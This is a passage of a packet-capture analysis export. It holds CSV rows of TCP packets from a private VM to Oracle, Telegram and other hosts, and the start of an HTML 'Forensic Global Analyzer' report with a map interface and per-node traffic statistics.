132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385611948 Ack=3782497525,5254007bb792525400577f94080045000028000040004006835384e2f749c0a87aa80050c3b4c9cc56ace17454f550100053dd1c0000,RT.{..RT.W....E..(..@.@..S...I..z..P....V..tT.P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 33619, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385611948, \"\"ack\"\": 3782497525, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 56604, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:24:45.901105,218,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=902239039 Ack=4075045341,525400577f945254007bb79208004500002806e4400080067c92c0a87aa8959aa66ec3c801bb35c7133ff2e441dd5011201477740000,RT.W..RT.{....E..(..@...|...z....n....5..?..A.P. .wt..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1764, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31890, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902239039, \"\"ack\"\": 4075045341, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:24:45.901261,219,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=4075045341 Ack=902239040,5254007bb792525400577f94080045000028ba2e400040060948959aa66ec0a87aa801bbc3c8f2e441dd35c713405011005377740000,RT.{..RT.W....E..(..@.@.\tH...n..z.......A.5..@P..Swt..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 47662, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 2376, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075045341, \"\"ack\"\": 902239040, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:24:45.901380,220,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=902239040 Ack=4075045342,525400577f945254007bb79208004500002806e5400080067c91c0a87aa8959aa66ec3c801bb35c71340f2e441de5010201477740000,RT.W..RT.{....E..(..@...|...z....n....5..@..A.P. .wt..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1765, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31889, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902239040, \"\"ack\"\": 4075045342, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"192.168.122.168\", \"ip\": \"192.168.122.168\", \"packet_count\": 212, \"total_bytes_sent\": 15494, \"total_bytes_received\": 14898, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [49899, 49892, 50100, 50104, 50107, 50111, 50112, 50113, 50115, 50117, 50118, 50119, 50120, 49957, 49956, 49955, 49687, 49958, 49954, 50121], \"first_seen\": 1777400503.554304, \"last_seen\": 1777400685.90138, \"packets\": [{\"num\": 170, \"time\": 1777400588.372445, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 171, \"time\": 1777400588.372465, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 172, \"time\": 1777400588.372483, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 173, \"time\": 1777400588.481693, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 174, \"time\": 1777400588.481859, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 175, \"time\": 1777400589.075432, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 176, \"time\": 1777400589.075568, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 177, \"time\": 1777400589.075588, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 178, \"time\": 1777400589.075606, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 179, \"time\": 1777400589.182699, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 180, \"time\": 1777400589.182842, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 181, \"time\": 1777400590.473677, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 182, \"time\": 1777400590.473772, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 183, \"time\": 1777400590.473793, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 184, \"time\": 1777400590.473811, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 185, \"time\": 1777400590.583021, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 186, \"time\": 1777400590.583099, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 187, \"time\": 1777400592.97399, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 188, \"time\": 1777400592.974096, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 189, \"time\": 1777400592.974116, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 190, \"time\": 1777400592.974133, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 191, \"time\": 1777400593.083893, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 192, \"time\": 1777400593.083985, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 193, \"time\": 1777400594.012671, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 194, \"time\": 1777400594.01273, \"size\": 66, \"direction\": \"received\"}, {\"num\": 195, \"time\": 1777400594.012854, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 196, \"time\": 1777400597.862912, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 197, \"time\": 1777400597.863021, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 198, \"time\": 1777400597.863041, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 199, \"time\": 1777400597.863058, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 200, \"time\": 1777400598.081676, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 201, \"time\": 1777400598.081815, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 202, \"time\": 1777400605.368126, \"size\": 161, \"direction\": \"received\"}, {\"num\": 203, \"time\": 1777400605.368166, \"size\": 54, \"direction\": \"received\"}, {\"num\": 204, \"time\": 1777400605.368539, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 205, \"time\": 1777400607.571525, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 206, \"time\": 1777400607.571638, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 207, \"time\": 1777400607.571665, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 208, \"time\": 1777400607.571693, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 209, \"time\": 1777400607.879449, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 210, \"time\": 1777400607.879573, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 211, \"time\": 1777400607.980655, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 212, \"time\": 1777400607.980698, \"size\": 54, \"direction\": \"received\"}, {\"num\": 213, \"time\": 1777400646.999466, \"size\": 54, \"direction\": \"received\"}, {\"num\": 214, \"time\": 1777400646.999648, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 215, \"time\": 1777400681.882982, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 216, \"time\": 1777400681.883054, \"size\": 54, \"direction\": \"received\"}, {\"num\": 217, \"time\": 1777400685.901105, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 218, \"time\": 1777400685.901261, \"size\": 54, \"direction\": \"received\"}, {\"num\": 219, \"time\": 1777400685.90138, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 182.34707617759705, \"avg_packet_size\": 143.35849056603774, \"packets_per_second\": 1.1626180383255638}, {\"id\": \"4.213.25.240\", \"ip\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes_sent\": 0, \"total_bytes_received\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1777400503.554304, \"last_seen\": 1777400527.281885, \"packets\": [{\"num\": 0, \"time\": 1777400503.554304, \"size\": 153, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1777400503.855678, \"size\": 153, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1777400504.465033, \"size\": 153, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1777400505.66826, \"size\": 153, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1777400505.895441, \"size\": 302, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1777400506.199361, \"size\": 302, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1777400506.80872, \"size\": 302, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1777400506.871203, \"size\": 153, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1777400508.018008, \"size\": 302, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1777400508.081837, \"size\": 153, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1777400509.230467, \"size\": 302, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1777400510.433575, \"size\": 302, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1777400510.496041, \"size\": 153, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1777400512.840695, \"size\": 302, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1777400515.401634, \"size\": 153, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1777400517.64396, \"size\": 302, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1777400525.073843, \"size\": 54, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1777400527.281885, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"Pune\", \"lat\": 18.5211, \"lon\": 73.8502, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"4.213.0.0/16\"}, \"duration\": 23.727581024169922, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7586108327546932}, {\"id\": \"132.226.247.73\", \"ip\": \"132.226.247.73\", \"packet_count\": 47, \"total_bytes_sent\": 4304, \"total_bytes_received\": 2602, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1777400567.390152, \"last_seen\": 1777400681.883054, \"packets\": [{\"num\": 18, \"time\": 1777400567.390152, \"size\": 66, \"direction\": \"received\"}, {\"num\": 19, \"time\": 1777400567.390207, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 20, \"time\": 1777400567.3903, \"size\": 54, \"direction\": \"received\"}, {\"num\": 21, \"time\": 1777400567.390637, \"size\": 205, \"direction\": \"received\"}, {\"num\": 22, \"time\": 1777400567.39065, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 23, \"time\": 1777400569.043465, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 24, \"time\": 1777400569.160366, \"size\": 54, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1777400569.187929, \"size\": 181, \"direction\": \"received\"}, {\"num\": 26, \"time\": 1777400569.187956, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 27, \"time\": 1777400569.690256, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 28, \"time\": 1777400569.874046, \"size\": 54, \"direction\": \"received\"}, {\"num\": 43, \"time\": 1777400572.897042, \"size\": 181, \"direction\": \"received\"}, {\"num\": 44, \"time\": 1777400572.897073, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 45, \"time\": 1777400573.473733, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 51, \"time\": 1777400573.674969, \"size\": 54, \"direction\": \"received\"}, {\"num\": 56, \"time\": 1777400574.110449, \"size\": 181, \"direction\": \"received\"}, {\"num\": 57, \"time\": 1777400574.110467, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 58, \"time\": 1777400574.576307, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 64, \"time\": 1777400574.674912, \"size\": 54, \"direction\": \"received\"}, {\"num\": 69, \"time\": 1777400574.993879, \"size\": 181, \"direction\": \"received\"}, {\"num\": 70, \"time\": 1777400574.993925, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 71, \"time\": 1777400575.507824, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 77, \"time\": 1777400575.573041, \"size\": 54, \"direction\": \"received\"}, {\"num\": 82, \"time\": 1777400576.016912, \"size\": 181, \"direction\": \"received\"}, {\"num\": 83, \"time\": 1777400576.016972, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 84, \"time\": 1777400576.448636, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 90, \"time\": 1777400576.661194, \"size\": 54, \"direction\": \"received\"}, {\"num\": 96, \"time\": 1777400577.806554, \"size\": 181, \"direction\": \"received\"}, {\"num\": 97, \"time\": 1777400577.806588, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 98, \"time\": 1777400578.361252, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 104, \"time\": 1777400578.475155, \"size\": 54, \"direction\": \"received\"}, {\"num\": 109, \"time\": 1777400578.837553, \"size\": 181, \"direction\": \"received\"}, {\"num\": 110, \"time\": 1777400578.837584, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 111, \"time\": 1777400579.5005, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 117, \"time\": 1777400579.569445, \"size\": 54, \"direction\": \"received\"}, {\"num\": 122, \"time\": 1777400580.317254, \"size\": 181, \"direction\": \"received\"}, {\"num\": 123, \"time\": 1777400580.317319, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 124, \"time\": 1777400580.734961, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 130, \"time\": 1777400580.774523, \"size\": 54, \"direction\": \"received\"}, {\"num\": 135, \"time\": 1777400581.149003, \"size\": 181, \"direction\": \"received\"}, {\"num\": 136, \"time\": 1777400581.149039, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 137, \"time\": 1777400581.851787, \"size\": 359, \"direction\": \"sent\"}, {\"num\": 143, \"time\": 1777400581.973483, \"size\": 54, \"direction\": \"received\"}, {\"num\": 213, \"time\": 1777400646.999466, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 214, \"time\": 1777400646.999648, \"size\": 54, \"direction\": \"received\"}, {\"num\": 215, \"time\": 1777400681.882982, \"size\": 54, \"direction\": \"received\"}, {\"num\": 216, \"time\": 1777400681.883054, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Brazil\", \"city\": \"S\\u00e3o Paulo\", \"lat\": -23.5475, \"lon\": -46.6361, \"asn\": 31898, \"isp\": \"Oracle Corporation\", \"network\": \"132.226.240.0/20\"}, \"duration\": 114.49290204048157, \"avg_packet_size\": 146.93617021276594, \"packets_per_second\": 0.41050579697405243}, {\"id\": \"188.114.96.0\", \"ip\": \"188.114.96.0\", \"packet_count\": 79, \"total_bytes_sent\": 4742, \"total_bytes_received\": 5498, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1777400570.549657, \"last_seen\": 1777400582.263481, \"packets\": [{\"num\": 68, \"time\": 1777400574.963386, \"size\": 54, \"direction\": \"received\"}, {\"num\": 72, \"time\": 1777400575.509256, \"size\": 66, \"direction\": \"received\"}, {\"num\": 73, \"time\": 1777400575.509313, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 74, \"time\": 1777400575.50945, \"size\": 54, \"direction\": \"received\"}, {\"num\": 75, \"time\": 1777400575.509826, \"size\": 369, \"direction\": \"received\"}, {\"num\": 76, \"time\": 1777400575.509846, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 79, \"time\": 1777400575.91047, \"size\": 54, \"direction\": \"received\"}, {\"num\": 80, \"time\": 1777400575.910597, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 81, \"time\": 1777400575.910667, \"size\": 54, \"direction\": \"received\"}, {\"num\": 85, \"time\": 1777400576.449893, \"size\": 66, \"direction\": \"received\"}, {\"num\": 86, \"time\": 1777400576.449951, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 87, \"time\": 1777400576.450162, \"size\": 54, \"direction\": \"received\"}, {\"num\": 88, \"time\": 1777400576.450548, \"size\": 369, \"direction\": \"received\"}, {\"num\": 89, \"time\": 1777400576.450575, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 92, \"time\": 1777400577.679861, \"size\": 54, \"direction\": \"received\"}, {\"num\": 93, \"time\": 1777400577.755073, \"size\": 54, \"direction\": \"received\"}, {\"num\": 94, \"time\": 1777400577.755152, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 95, \"time\": 1777400577.755274, \"size\": 54, \"direction\": \"received\"}, {\"num\": 99, \"time\": 1777400578.362289, \"size\": 66, \"direction\": \"received\"}, {\"num\": 100, \"time\": 1777400578.362333, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 101, \"time\": 1777400578.362408, \"size\": 54, \"direction\": \"received\"}, 